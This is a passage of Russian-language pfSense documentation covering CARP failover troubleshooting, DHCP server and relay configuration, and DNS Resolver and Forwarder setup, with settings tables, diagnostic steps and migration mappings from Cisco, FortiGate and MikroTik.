- Физический отказ одного из сетевых интерфейсов на одном узле
- Проблема с кабелем или портом коммутатора на отдельном интерфейсе
- Различные VLAN-конфигурации на портах коммутатора

Диагностика:

1. Проверить статус всех интерфейсов на обоих узлах через **Status > CARP (failover)**
2. Проверить физическое подключение каждого интерфейса через **Status > Interfaces**
3. Проверить логи CARP: **Status > System Logs**, вкладка **System**, фильтр по "carp"

Решение: устранить причину потери связности на конкретном интерфейсе. При невозможности быстрого устранения - временно перевести проблемный узел в maintenance mode для обеспечения целостности маршрутизации.

### CARP не выполняет переключение

Если при отказе primary-узла secondary не принимает роль master:

**Проверить heartbeat.** На secondary выполнить:

```bash
tcpdump -i em0 proto carp
```

Если heartbeat от primary продолжает поступать, primary не в состоянии отказа - проблема в другом.

**Проверить значение Skew.** Если skew на secondary слишком велик (например, 240), переключение может занимать длительное время. Уменьшить skew до 100.

**Проверить сетевой стек.** Убедиться, что на secondary не заблокирован CARP-трафик правилами файрвола на соответствующем интерфейсе.

**Проверить demotion counter.** pfSense может автоматически увеличивать demotion counter при обнаружении проблем, блокируя переход в MASTER:

```bash
sysctl net.inet.carp.demotion
```

Значение 0 - нормальное. Ненулевое значение указывает на проблему, препятствующую принятию роли master.

### Проблемы с multicast

В виртуализированных средах (VMware, Proxmox, Hyper-V) multicast-трафик CARP может блокироваться на уровне виртуального коммутатора.

**VMware vSwitch/vDS:**
- Включить Promiscuous Mode: Accept
- Включить Forged Transmits: Accept
- Включить MAC Address Changes: Accept

**Proxmox (Linux Bridge):**
- Убедиться, что мост не фильтрует multicast
- Проверить параметр `multicast_snooping` на мосте

**Hyper-V:**
- Включить MAC Address Spoofing на виртуальном адаптере
- Разрешить multicast в параметрах виртуального коммутатора

### Медленное переключение

Если переключение при отказе primary занимает более 5-10 секунд:

- Уменьшить значение advbase до 1 (если ещё не установлено)
- Уменьшить skew на secondary (рекомендуется 100)
- Проверить нагрузку на CPU обоих узлов - при высокой нагрузке обработка CARP heartbeat может задерживаться
- Убедиться, что pfsync корректно синхронизирует состояния - без синхронизации secondary должен заново установить все соединения, что увеличивает время восстановления

### Логирование CARP-событий

Для отслеживания переключений и диагностики проблем включить расширенное логирование CARP:

**Status > System Logs > Settings:**
- Log CARP State Changes: включить

События CARP записываются в системный журнал и доступны в **Status > System Logs**, вкладка **System**. При интеграции с внешней SIEM-системой (например, Wazuh) CARP-события могут быть использованы для создания правил оповещения о переключениях в кластере.

## Связанные разделы

- [Синхронизация конфигурации](/docs/pfsense/high-availability/pfsense-config-sync/) - настройка XMLRPC и pfsync для полноценной работы кластера
- [Сценарии отказоустойчивости](/docs/pfsense/high-availability/pfsense-failover-scenarios/) - тестирование и планирование отказов
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - настройка правил для sync-интерфейса
- [Исходящий NAT](/docs/pfsense/nat/pfsense-outbound-nat/) - привязка правил NAT к CARP VIP
- [VPN в pfSense](/docs/pfsense/vpn/) - привязка VPN-туннелей к CARP VIP для отказоустойчивости


---

# DHCP сервер pfSense - настройка и статические привязки

Source: https://opennix.org/docs/pfsense/services/pfsense-dhcp/


DHCP сервер в pfSense обеспечивает автоматическую раздачу IP-адресов клиентам из заранее определённых пулов с передачей параметров сетевой конфигурации - шлюза, DNS-серверов, доменного имени и времени аренды. Сервер настраивается отдельно для каждого интерфейса, что позволяет задавать индивидуальные параметры для различных сегментов сети. pfSense поддерживает два бэкенда DHCP - Kea DHCP (современный, рекомендуемый) и ISC DHCP (устаревший, будет удалён в будущих версиях). Выбор бэкенда осуществляется через **System > Advanced > Networking > Server Backend**.

## Включение DHCP сервера

Настройка DHCP сервера выполняется через **Services > DHCP Server**. Страница конфигурации содержит отдельные вкладки для каждого интерфейса, на котором возможна раздача адресов.

Для активации сервера на конкретном интерфейсе необходимо:

1. Перейти на вкладку требуемого интерфейса (LAN, OPT1 и т.д.)
2. Установить флажок **Enable DHCP server on [interface] interface**
3. Указать диапазон адресного пула
4. Нажать **Save**

> **Внимание**:
>
> DHCP сервер может работать только на интерфейсах со статически назначенным IP-адресом. Если интерфейс настроен на получение адреса по DHCP или PPPoE, включение DHCP сервера на нём невозможно.

## Конфигурация адресного пула

Адресный пул определяет диапазон IP-адресов, которые DHCP сервер раздаёт клиентам. Диапазон задаётся полями **From** (начальный адрес) и **To** (конечный адрес) и должен находиться в пределах подсети интерфейса.

### Основные параметры пула

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| **Address Pool Range** | Начальный и конечный адреса диапазона | Зависит от подсети |
| **DNS Servers** | До четырёх DNS-серверов для клиентов | IP-адрес интерфейса pfSense |
| **Gateway** | Шлюз по умолчанию для клиентов | IP-адрес интерфейса pfSense |
| **Domain Name** | Доменное имя для формирования FQDN | Системный домен pfSense |
| **Domain Search List** | Список доменов поиска (опция 119) | Не задан |
| **Default Lease Time** | Время аренды при отсутствии запроса от клиента | 7200 секунд (2 часа) |
| **Maximum Lease Time** | Максимально допустимое время аренды | 86400 секунд (24 часа) |
| **WINS Servers** | До двух серверов Windows Internet Name Service | Не задан |

### Дополнительные пулы

В пределах одной подсети допускается создание нескольких адресных пулов через кнопку **Add Address Pool**. Это полезно при необходимости выделить отдельные диапазоны для разных категорий устройств в рамках одного интерфейса - например, один пул для рабочих станций и другой для принтеров с различными параметрами аренды.

### Рекомендации по планированию

При планировании адресного пула следует учитывать несколько практических аспектов:

- Оставлять зарезервированные адреса в начале подсети для шлюза, серверов и сетевого оборудования (например, .1 - .20)
- Выделять отдельный диапазон для статических привязок вне основного пула
- Учитывать возможный рост количества устройств при выборе размера подсети
- Устанавливать время аренды в зависимости от типа устройств: короткое (1-2 часа) для гостевых сетей с высокой ротацией, длительное (8-24 часа) для корпоративных рабочих станций

## Статические привязки

Статические привязки (Static Mappings) обеспечивают назначение фиксированного IP-адреса определённому устройству на основе его MAC-адреса. В отличие от полностью статической настройки на самом устройстве, при статической привязке устройство продолжает использовать DHCP-протокол, но всегда получает один и тот же адрес.

### Создание статической привязки

Для создания привязки необходимо перейти в **Services > DHCP Server**, выбрать интерфейс и в разделе **DHCP Static Mappings** нажать **Add**.

| Поле | Описание | Обязательное |
|---|---|---|
| **MAC Address** | MAC-адрес устройства в формате `aa:bb:cc:dd:ee:ff` | Да |
| **Client Identifier** | Идентификатор клиента по RFC 2132 | Нет |
| **IP Address** | Назначаемый IP-адрес (предпочтительный, не жёсткое резервирование) | Нет |
| **Hostname** | Имя хоста для регистрации в DNS Resolver | Нет |
| **Description** | Описание устройства для администрирования | Нет |
| **ARP Table Static Entry** | Создание статической записи в ARP-таблице | Нет |

> **Внимание**:
>
> Поле IP Address задаёт предпочтительный адрес, а не жёсткое резервирование. Если указанный адрес уже занят, DHCP сервер может назначить другой адрес из пула. Для гарантированного закрепления адреса следует выбирать IP вне основного пула раздачи.

### Практическое применение

Статические привязки рекомендуется использовать для:

- Серверов и сетевого оборудования, которым необходим постоянный адрес для правил файрвола и NAT
- Принтеров и МФУ, настроенных по IP-адресу
- IP-телефонов с привязкой к конкретному номеру
- IoT-устройств, не поддерживающих статическую настройку сети
- Рабочих станций администраторов, требующих фиксированного доступа

### Опция Static ARP

При включении **Static ARP** на уровне интерфейса pfSense создаёт статические записи в ARP-таблице для всех устройств со статическими привязками. Устройства без привязки не смогут взаимодействовать с файрволом через данный интерфейс, даже если настроят IP-адрес вручную. Эта функция обеспечивает дополнительный уровень контроля доступа на канальном уровне.

## Управление неизвестными клиентами

Параметр **Deny unknown clients** определяет поведение DHCP сервера при получении запроса от устройства, не имеющего статической привязки.

| Режим | Поведение |
|---|---|
| **Allow all clients** | Все устройства получают адрес из пула (по умолчанию) |
| **Allow known clients from any interface** | Только устройства со статической привязкой на любом интерфейсе |
| **Allow known clients from only this interface** | Только устройства со статической привязкой на данном интерфейсе |

Режимы ограничения полезны в сценариях с повышенными требованиями к безопасности, когда подключение неавторизованных устройств к сети необходимо исключить. В сочетании с Static ARP это обеспечивает контроль доступа на уровне MAC-адресов.

## DHCP Relay

DHCP Relay используется в ситуациях, когда DHCP сервер расположен в другой подсети. Вместо локальной раздачи адресов pfSense перенаправляет DHCP-запросы клиентов на удалённый сервер и возвращает ответы обратно.

### Настройка DHCP Relay

Конфигурация выполняется через **Services > DHCP Relay**.

1. Установить флажок **Enable DHCP Relay**
2. Указать IP-адрес удалённого DHCP сервера в поле **Destination Server**
3. Выбрать интерфейсы, на которых следует перехватывать DHCP-запросы
4. Нажать **Save**

> **Внимание**:
>
> DHCP Relay и DHCP Server не могут работать одновременно на одном интерфейсе. При включении Relay локальный DHCP сервер на выбранных интерфейсах автоматически деактивируется.

### Сценарии использования

- Централизованный DHCP сервер (Windows Server, ISC DHCP, Infoblox) обслуживает множество подсетей через Relay на pfSense
- Филиальная сеть с единым DHCP сервером в центральном офисе, подключённом через VPN-туннель
- Миграция с выделенного DHCP сервера: на переходном этапе pfSense перенаправляет запросы на существующий сервер

## Дополнительные опции DHCP

pfSense позволяет передавать клиентам расширенные параметры конфигурации через дополнительные опции DHCP.

### Встроенные опции

| Опция | Поле | Описание |
|---|---|---|
| TFTP Server (66) | **TFTP Server** | Адрес TFTP-сервера для IP-телефонов и PXE-загрузки |
| NTP Servers (42) | **NTP Servers** | До четырёх серверов синхронизации времени |
| LDAP URI (95) | **LDAP URI** | URI LDAP-сервера в формате `ldap://ldap.example.com/dc=example,dc=com` |

### Сетевая загрузка (PXE/UEFI)

Для настройки сетевой загрузки необходимо включить **Enable Network Booting** и указать:

| Параметр | Описание |
|---|---|
| **Next Server** | IP-адрес сервера с загрузочными образами |
| **Default BIOS File Name** | Имя файла загрузки для Legacy BIOS |
| **UEFI 32 bit File Name** | Загрузочный файл для 32-битного UEFI |
| **UEFI 64 bit File Name** | Загрузочный файл для 64-битного UEFI |
| **UEFI HTTPBoot URL** | URL загрузочного файла в формате `http://server/path` |
| **Root Path** | Путь к корневому устройству (например, iSCSI target) |

### Пользовательские опции (только ISC DHCP)

Через раздел **Additional BOOTP/DHCP Options** допускается задание произвольных опций DHCP по номеру, типу и значению:

- **Number** - код опции по стандартам IANA
- **Type** - тип данных (Text, String, Boolean, Unsigned Integer 8/16/32, Signed Integer 8/16/32, IP address or hostname)
- **Value** - значение опции

Пользовательские опции позволяют передавать специфические параметры для VoIP-оборудования, тонких клиентов, IP-камер и других устройств с поддержкой расширенных опций DHCP.

### Контроль по MAC-адресу

Расширенные настройки позволяют ограничить обслуживание по MAC-адресам:

- **Allow** - список разрешённых MAC-адресов через запятую; все остальные отклоняются
- **Deny** - список запрещённых MAC-адресов через запятую; все остальные обслуживаются

## DHCPv6 и Router Advertisements

pfSense поддерживает раздачу IPv6-адресов через DHCPv6 и настройку Router Advertisements (RA) для автоконфигурации клиентов.

### Настройка DHCPv6

Конфигурация DHCPv6 выполняется через **Services > DHCPv6 Server & RA**. Для каждого интерфейса доступны две вкладки: **DHCPv6 Server** и **Router Advertisements**.

Основные параметры DHCPv6 аналогичны DHCPv4:

- Диапазон адресов (Range)
- DNS-серверы для IPv6
- Доменное имя
- Время аренды (Preferred и Valid Lifetime)
- Статические привязки по DUID (DHCPv6 Unique Identifier)

### Router Advertisements

Router Advertisements определяют способ получения IPv6-адресов клиентами.

| Режим RA | Описание |
|---|---|
| **Managed** | Клиенты получают адреса только через DHCPv6 |
| **Assisted** | Клиенты используют SLAAC для адреса и DHCPv6 для остальных параметров |
| **Unmanaged** | Клиенты используют только SLAAC, DHCPv6 не применяется |
| **Disabled** | RA отключены |

> **Внимание**:
>
> Режим Router Advertisements необходимо согласовать с настройками DHCPv6. При выборе **Unmanaged** сервер DHCPv6 не будет обрабатывать запросы на назначение адресов, даже если он включён.

## Интеграция с DNS

DHCP сервер pfSense поддерживает автоматическую регистрацию имён хостов в DNS Resolver (Unbound). При получении DHCP-запроса с именем хоста сервер создаёт соответствующую DNS-запись, позволяя обращаться к устройствам по имени вместо IP-адреса.

### Включение DNS-регистрации

Автоматическая регистрация настраивается в DNS Resolver (**Services > DNS Resolver**):

- **DHCP Registration** - регистрация имён хостов динамических клиентов
- **Static DHCP** - регистрация имён хостов из статических привязок

Подробная настройка DNS Resolver описана в разделе [DNS в pfSense](/docs/pfsense/services/pfsense-dns/).

### Dynamic DNS (только ISC DHCP)

При использовании бэкенда ISC DHCP доступна регистрация хостов на внешнем DNS-сервере через протокол Dynamic DNS:

- **DDNS Domain** - домен для регистрации клиентов
- **Primary/Secondary DDNS Address** - адреса DNS-серверов для обновления записей
- **DNS Domain Key Name и Secret** - учётные данные для аутентификации обновлений
- **DDNS Client Updates** - политика обработки запросов клиентов на обновление DNS (Allow, Deny, Ignore)

## Просмотр выданных аренд

Список текущих DHCP-аренд доступен через **Status > DHCP Leases**. Страница отображает:

- IP-адрес и MAC-адрес клиента
- Имя хоста (если передано клиентом)
- Время начала и окончания аренды
- Тип аренды (dynamic или static)
- Онлайн-статус устройства

Из этого списка можно создать статическую привязку для любого активного клиента, нажав кнопку **Add Static Mapping** рядом с соответствующей записью. Также доступна функция Wake on LAN для устройств с поддержкой удалённого пробуждения.

## Диагностика проблем

### Клиент не получает IP-адрес

1. Убедиться, что DHCP сервер включён на соответствующем интерфейсе (**Services > DHCP Server**)
2. Проверить, что IP-адрес интерфейса pfSense настроен статически
3. Убедиться, что адресный пул не исчерпан (**Status > DHCP Leases**)
4. Проверить, не включён ли режим **Deny unknown clients** для устройства без статической привязки
5. Проверить правила файрвола - DHCP использует порты UDP 67 (сервер) и UDP 68 (клиент)
6. Просмотреть системный журнал: **Status > System Logs > DHCP**

### Клиент получает адрес из неверного пула

1. Проверить, что клиент подключён к корректному интерфейсу или VLAN
2. Убедиться, что диапазоны основного и дополнительных пулов не пересекаются
3. При наличии статической привязки проверить, что указанный адрес находится в пределах подсети интерфейса

### DHCP Relay не работает

1. Убедиться, что DHCP сервер отключён на интерфейсах, используемых для Relay
2. Проверить маршрутизацию до удалённого DHCP сервера с помощью **Diagnostics > Ping**
3. Убедиться, что правила файрвола разрешают DHCP-трафик (UDP 67/68) между pfSense и удалённым сервером
4. При использовании VPN-туннеля убедиться, что подсеть DHCP сервера доступна через туннель

### Конфликт IP-адресов

1. Проверить, не назначен ли адрес статически на другом устройстве
2. Убедиться, что адреса статических привязок не входят в диапазон динамического пула
3. Включить **Ping Check** (только ISC DHCP) для проверки доступности адреса перед назначением

## Миграция с других платформ

### Миграция с Cisco IOS DHCP

В Cisco IOS пулы DHCP настраиваются глобально с привязкой к подсети. В pfSense каждый пул привязан к конкретному интерфейсу.

| Cisco IOS | pfSense |
|---|---|
| `ip dhcp pool VLAN10` | Вкладка интерфейса в Services > DHCP Server |
| `network 192.168.10.0 255.255.255.0` | Определяется подсетью интерфейса |
| `default-router 192.168.10.1` | **Gateway** |
| `dns-server 8.8.8.8` | **DNS Servers** |
| `domain-name corp.local` | **Domain Name** |
| `lease 0 8` | **Default Lease Time** (в секундах) |
| `ip dhcp excluded-address` | Исключить адреса из диапазона пула |
| `host 192.168.10.50` + `hardware-address` | **Static Mappings** |

### Миграция с FortiGate

В FortiGate DHCP сервер привязан к интерфейсу аналогично pfSense. Основные различия:

- FortiGate использует MAC Access Control List - в pfSense аналог реализуется через **Allow/Deny MAC** в расширенных опциях
- Резервирования адресов в FortiGate задаются через `config reserved-address` - в pfSense используются Static Mappings
- FortiGate поддерживает DHCP snooping на аппаратном уровне - pfSense реализует контроль через Static ARP

### Миграция с MikroTik

В MikroTik DHCP сервер, пул и сетевые параметры настраиваются как отдельные объекты. В pfSense все параметры объединены на одной странице интерфейса.

| MikroTik | pfSense |
|---|---|
| `/ip dhcp-server add` | Включение DHCP на интерфейсе |
| `/ip pool add ranges=` | **Address Pool Range** |
| `/ip dhcp-server network add` | DNS, Gateway, Domain в настройках пула |
| `/ip dhcp-server lease add` | **Static Mappings** |
| `always-broadcast=yes` | Настраивается в дополнительных опциях |

## Связанные разделы

- [DNS в pfSense](/docs/pfsense/services/pfsense-dns/) - настройка DNS Resolver для регистрации DHCP-хостов
- [Настройка VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) - создание VLAN-интерфейсов с индивидуальной конфигурацией DHCP
- [CARP и Virtual IPs](/docs/pfsense/high-availability/pfsense-carp-setup/) - использование CARP VIP в качестве шлюза для отказоустойчивого DHCP


---

# DNS в pfSense - Resolver, Forwarder и переопределения

Source: https://opennix.org/docs/pfsense/services/pfsense-dns/


pfSense предоставляет два встроенных DNS-сервиса для разрешения доменных имён - DNS Resolver на основе Unbound и DNS Forwarder на основе dnsmasq. Оба сервиса обеспечивают кэширование DNS-запросов, переопределение записей и интеграцию с DHCP, однако различаются архитектурой и областью применения. DNS Resolver является рекомендуемым решением и включён по умолчанию в актуальных версиях pfSense. DNS Forwarder следует использовать только в специфических сценариях, когда требуется одновременный опрос нескольких DNS-серверов.

## DNS Resolver и DNS Forwarder - сравнение

Перед настройкой необходимо определить, какой из сервисов соответствует требованиям инфраструктуры.

| Характеристика | DNS Resolver (Unbound) | DNS Forwarder (dnsmasq) |
|---|---|---|
| Режим работы | Рекурсивный резолвер или форвардер | Только форвардер |
| DNSSEC | Поддерживается | Не поддерживается |
| DNS over TLS | Поддерживается | Не поддерживается |
| Кэширование | Да | Да |
| Переопределение хостов | Да | Да |
| Переопределение доменов | Да | Да |
| Регистрация DHCP-хостов | Да | Да |
| Параллельный опрос DNS-серверов | Нет (последовательно) | Да (все серверы одновременно) |
| Включён по умолчанию | Да | Нет |

> **Внимание**:
>
> Два DNS-сервиса не могут работать одновременно на одном порту. При включении одного сервиса второй необходимо отключить или назначить ему альтернативный порт.

### Когда использовать DNS Resolver

DNS Resolver (Unbound) является предпочтительным выбором в большинстве сценариев:

- Стандартная корпоративная или домашняя сеть с потребностью в DNSSEC
- Среды, требующие шифрования DNS-запросов через DNS over TLS
- Инфраструктура с необходимостью прямого рекурсивного разрешения без зависимости от внешних форвардеров
- Сети с интеграцией DHCP-регистрации и локальных DNS-записей

### Когда использовать DNS Forwarder

DNS Forwarder (dnsmasq) оправдан в ограниченном числе ситуаций:

- Multi-WAN конфигурации, где параллельный опрос DNS-серверов через все каналы обеспечивает более быстрый ответ
- Среды с нестабильными или высоколатентными DNS-серверами, где параллельный запрос снижает задержку
- Совместимость с устаревшими конфигурациями, ранее использовавшими dnsmasq

## Настройка DNS Resolver

Конфигурация DNS Resolver выполняется через **Services > DNS Resolver**.

### Общие параметры

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| **Enable** | Включение DNS Resolver | Включён |
| **Listen Port** | Порт прослушивания (TCP/UDP) | 53 |
| **Network Interfaces** | Интерфейсы для приёма запросов | Все интерфейсы |
| **Outgoing Network Interfaces** | Интерфейсы для отправки запросов | Все интерфейсы |
| **System Domain Local Zone Type** | Тип зоны для системного домена | Transparent |
| **DNSSEC** | Проверка подлинности DNS-ответов | Включён |
| **DNS Query Forwarding** | Режим пересылки вместо рекурсии | Отключён |
| **DHCP Registration** | Регистрация DHCP-хостов в DNS | Отключён |
| **Static DHCP** | Регистрация статических привязок DHCP | Отключён |
| **OpenVPN Clients** | Регистрация OpenVPN-клиентов | Отключён |

### Режим работы - Resolver и Forwarding

По умолчанию DNS Resolver работает в режиме рекурсивного резолвера - он самостоятельно обращается к корневым DNS-серверам и последовательно проходит по цепочке делегирования до получения ответа. Этот режим не зависит от внешних форвардеров и обеспечивает полную проверку DNSSEC.

При включении **DNS Query Forwarding** Resolver переходит в режим форвардера - запросы пересылаются на DNS-серверы, указанные в **System > General Setup** или полученные автоматически от провайдера. Режим пересылки полезен, когда:

- Корпоративная политика требует использования определённых DNS-серверов
- Провайдер блокирует прямые DNS-запросы к корневым серверам
- Необходимо использовать DNS-серверы с фильтрацией контента (OpenDNS, Cloudflare for Families)

> **Внимание**:
>
> При включении DNS Query Forwarding в сочетании с DNSSEC следует убедиться, что вышестоящие DNS-серверы поддерживают DNSSEC. В противном случае валидация завершится ошибкой, и легитимные запросы будут отклоняться.

### SSL/TLS Service (DNS over TLS)

DNS Resolver поддерживает приём зашифрованных запросов от клиентов через DNS over TLS на порту 853. Для включения необходимо:

1. Установить флажок **SSL/TLS Service** в настройках DNS Resolver
2. Убедиться, что на pfSense настроен валидный сертификат
3. Настроить клиентские устройства для использования pfSense в качестве DoT-сервера

### Исходящий DNS over TLS

Для шифрования исходящих DNS-запросов от pfSense к вышестоящим серверам необходимо:

1. Включить **DNS Query Forwarding**
2. Установить флажок **Use SSL/TLS for outgoing DNS Queries to Forwarding Servers**
3. Указать DNS-серверы с поддержкой DoT в **System > General Setup** (например, 1.1.1.1, 8.8.8.8, 9.9.9.9)

Шифрование исходящих запросов предотвращает перехват DNS-трафика провайдером или промежуточными узлами.

## Переопределение хостов (Host Overrides)

Host Overrides позволяют создавать локальные DNS-записи, перенаправляющие разрешение конкретных имён хостов на указанные IP-адреса. Это аналог записей в файле `/etc/hosts`, но на уровне DNS-сервера для всей сети.

### Создание записи

Настройка выполняется в разделе **Host Overrides** на странице **Services > DNS Resolver**.

| Поле | Описание | Пример |
|---|---|---|
| **Host** | Имя хоста (без домена) | `intranet` |
| **Domain** | Доменное имя | `corp.local` |
| **IP Address** | IPv4 или IPv6 адрес | `192.168.1.100` |
| **Description** | Описание записи | `Corporate intranet server` |

Результирующая DNS-запись: `intranet.corp.local` -> `192.168.1.100`

### Дополнительные имена (Aliases)

Для каждого Host Override допускается добавление альтернативных имён через раздел **Additional Names for this Host**. Это эквивалент CNAME-записей, позволяющий нескольким именам указывать на один адрес.

### Типичные сценарии

- Перенаправление внутреннего трафика к публичным сервисам компании на локальные серверы (split DNS / hairpin NAT)
- Создание коротких имён для часто используемых ресурсов внутренней сети
- Блокировка доступа к определённым доменам (перенаправление на 127.0.0.1)
- Тестирование веб-приложений с подменой DNS-записей без изменения публичного DNS

## Переопределение доменов (Domain Overrides)

Domain Overrides перенаправляют DNS-запросы для определённых доменов на указанные DNS-серверы. В отличие от Host Overrides, которые задают конкретные IP-адреса, Domain Overrides определяют сервер, ответственный за разрешение всех записей в домене.

### Создание записи

Настройка выполняется в разделе **Domain Overrides** на странице **Services > DNS Resolver**.

| Поле | Описание | Пример |
|---|---|---|
| **Domain** | Доменное имя для перенаправления | `internal.corp.com` |
| **IP Address** | Адрес DNS-сервера для этого домена | `10.0.0.53` |
| **TLS Queries** | Использовать DNS over TLS при обращении | Нет |
| **TLS Hostname** | Имя хоста для проверки TLS-сертификата | - |
| **Description** | Описание правила | `Internal AD DNS` |

### Типичные сценарии

- Перенаправление запросов к домену Active Directory на контроллеры домена
- Разрешение зон внутренней инфраструктуры через выделенные DNS-серверы
- Интеграция с DNS-серверами филиальных офисов через VPN
- Перенаправление обратных DNS-зон (in-addr.arpa) на авторитетные серверы

## DNSSEC

DNSSEC (Domain Name System Security Extensions) обеспечивает проверку подлинности и целостности DNS-ответов с помощью криптографических подписей. DNS Resolver в pfSense поддерживает валидацию DNSSEC по умолчанию.

### Принцип работы

При включённом DNSSEC Resolver проверяет цепочку доверия от корневых серверов до запрашиваемого домена. Если подпись DNS-ответа не проходит проверку, ответ отклоняется и клиент получает ошибку SERVFAIL. Это защищает от:

- DNS spoofing (подмена DNS-ответов)
- Cache poisoning (отравление кэша DNS)
- Man-in-the-middle атак на уровне DNS

### Ограничения DNSSEC

Не все домены подписаны DNSSEC. При обращении к домену без DNSSEC-подписи валидация пропускается, и ответ обрабатывается обычным образом.

При использовании DNS Query Forwarding вышестоящие серверы должны поддерживать передачу DNSSEC-записей (DO bit). Большинство публичных DNS-серверов (Google DNS, Cloudflare, Quad9) корректно обрабатывают DNSSEC.

### Диагностика DNSSEC

Для проверки работоспособности DNSSEC следует выполнить запрос к заведомо подписанному домену через **Diagnostics > DNS Lookup**:

- `dnssec-failed.org` - домен с намеренно некорректной подписью; при работающем DNSSEC запрос должен завершиться ошибкой
- `dnssec.works` - домен с корректной подписью; запрос должен успешно разрешиться

## Интеграция с DHCP

DNS Resolver поддерживает автоматическую регистрацию имён хостов, полученных через DHCP, что позволяет обращаться к устройствам в сети по имени.

### Настройка регистрации

В разделе **Services > DNS Resolver** доступны следующие опции:

| Параметр | Описание |
|---|---|
| **DHCP Registration** | Регистрация имён динамических DHCP-клиентов |
| **Static DHCP** | Регистрация имён из статических привязок DHCP |
| **OpenVPN Clients** | Регистрация Common Name подключённых OpenVPN-клиентов |

При включении DHCP Registration клиент, запросивший адрес с именем хоста `workstation1` в домене `corp.local`, автоматически получает DNS-запись `workstation1.corp.local`, указывающую на его DHCP-адрес.

### Требования

- DHCP сервер и DNS Resolver должны работать на одном экземпляре pfSense
- Клиент должен передавать имя хоста в DHCP-запросе (большинство ОС делают это по умолчанию)
- Системный домен pfSense должен быть корректно настроен в **System > General Setup**

Подробная настройка DHCP сервера описана в разделе [DHCP сервер pfSense](/docs/pfsense/services/pfsense-dhcp/).

## Списки доступа (Access Lists)

Списки доступа DNS Resolver определяют, какие клиенты имеют право отправлять DNS-запросы.

### Создание списка доступа

Настройка выполняется через вкладку **Access Lists** на странице **Services > DNS Resolver**.

| Поле | Описание |
|---|---|
| **Access List Name** | Название правила |
| **Action** | Действие: Allow, Deny, Refuse, Allow Snoop |
| **Networks** | Подсети, к которым применяется правило |
| **Description** | Описание правила |

### Действия

| Действие | Поведение |
|---|---|
| **Allow** | Разрешить рекурсивные запросы |
| **Deny** | Отбросить запрос без ответа |
| **Refuse** | Отклонить запрос с ответом REFUSED |
| **Allow Snoop** | Разрешить все запросы, включая нерекурсивные (для диагностики) |

По умолчанию DNS Resolver разрешает запросы со всех подсетей, назначенных интерфейсам pfSense. Дополнительные списки доступа необходимы при обслуживании клиентов из подсетей, не привязанных напрямую к интерфейсам (например, клиентов за вышестоящим маршрутизатором).

## Настройка DNS Forwarder

DNS Forwarder настраивается через **Services > DNS Forwarder**. Перед включением необходимо отключить DNS Resolver или назначить ему другой порт.

### Основные параметры

| Параметр | Описание |
|---|---|
| **Enable** | Включение DNS Forwarder |
| **Network Interfaces** | Интерфейсы для приёма запросов |
| **Query DNS servers sequentially** | Последовательный опрос вместо параллельного |

По умолчанию DNS Forwarder отправляет запрос на все настроенные DNS-серверы одновременно и использует первый полученный ответ. Это обеспечивает минимальную задержку, но создаёт дополнительный трафик. При включении **Query DNS servers sequentially** серверы опрашиваются последовательно.

DNS-серверы для пересылки берутся из **System > General Setup** и из параметров, автоматически полученных от провайдера (DHCP, PPPoE).

### Host Overrides и Domain Overrides

DNS Forwarder поддерживает те же функции переопределения хостов и доменов, что и DNS Resolver. Синтаксис и логика работы аналогичны описанным выше.

## Расширенные настройки Unbound

Вкладка **Advanced Settings** позволяет передавать произвольные директивы конфигурации Unbound через текстовое поле **Custom Options**. Эта функция предназначена для опытных администраторов и позволяет:

- Настроить нестандартные параметры кэширования
- Определить частные домены (private-domain)
- Задать локальные зоны и записи
- Изменить параметры производительности (num-threads, msg-cache-size, rrset-cache-size)

Пример добавления локальной зоны:

```text
server:
local-zone: "internal.example.com" static
local-data: "server1.internal.example.com A 10.0.0.10"
local-data: "server2.internal.example.com A 10.0.0.11"
```

> **Внимание**:
>
> Некорректные директивы в Custom Options приведут к ошибке запуска DNS Resolver. Перед сохранением рекомендуется проверить синтаксис конфигурации.

## Диагностика проблем

### DNS не разрешает имена

1. Проверить, что DNS Resolver или Forwarder включён (**Services > DNS Resolver** или **Services > DNS Forwarder**)
2. Убедиться, что клиент использует IP-адрес pfSense в качестве DNS-сервера
3. Выполнить тестовый запрос через **Diagnostics > DNS Lookup**
4. Проверить, что вышестоящие DNS-серверы доступны (**System > General Setup**)
5. Просмотреть журнал: **Status > System Logs > Resolver** (или **Forwarder**)
6. Проверить правила файрвола - DNS использует порты TCP/UDP 53

### Медленное разрешение DNS

1. В режиме Resolver - проверить доступность корневых DNS-серверов; при необходимости переключиться в режим Forwarding
2. В режиме Forwarding - проверить задержку до вышестоящих серверов через **Diagnostics > Ping**
3. Рассмотреть включение DNS over TLS - шифрование добавляет незначительную задержку, но предотвращает перехват
4. Проверить размер кэша - при частых одинаковых запросах увеличение кэша через Advanced Settings снижает задержку

### Ошибки DNSSEC

1. Убедиться, что системное время pfSense корректно синхронизировано (DNSSEC-подписи содержат временные метки)
2. Проверить, поддерживают ли вышестоящие DNS-серверы DNSSEC (при использовании Forwarding)
3. Протестировать с доменом `dnssec-failed.org` - если он разрешается, DNSSEC не функционирует
4. Временно отключить DNSSEC для изоляции проблемы: если без DNSSEC разрешение работает, причина в цепочке доверия

### Host Override не работает

1. Проверить, что домен в Host Override совпадает с запрашиваемым клиентом
2. Очистить DNS-кэш на клиентском устройстве
3. Убедиться, что клиент использует pfSense в качестве DNS-сервера, а не обращается к внешним серверам напрямую
4. Проверить, что правила файрвола не перенаправляют DNS-трафик мимо pfSense

## Заметки по миграции

### Миграция с Cisco DNS

В Cisco IOS DNS-настройки задаются глобально через `ip name-server` и `ip domain-name`. pfSense предоставляет значительно больше возможностей:

| Cisco IOS | pfSense |
|---|---|
| `ip name-server 8.8.8.8` | System > General Setup > DNS Servers |
| `ip domain-name corp.local` | System > General Setup > Domain |
| `ip host server1 192.168.1.10` | Host Overrides в DNS Resolver |
| `ip dns server` | Включение DNS Resolver |

### Миграция с FortiGate DNS

FortiGate поддерживает DNS Database с зонами и записями. В pfSense аналогичная функциональность реализуется через Host Overrides и Domain Overrides:

- DNS Database записи -> Host Overrides
- Conditional Forwarding -> Domain Overrides
- FortiGuard DNS Filter -> Внешние DNS-серверы с фильтрацией (Cloudflare for Families, OpenDNS)

### Миграция с MikroTik DNS

MikroTik DNS настраивается через `/ip dns`. Основные соответствия:

| MikroTik | pfSense |
|---|---|
| `/ip dns set servers=8.8.8.8` | System > General Setup > DNS Servers |
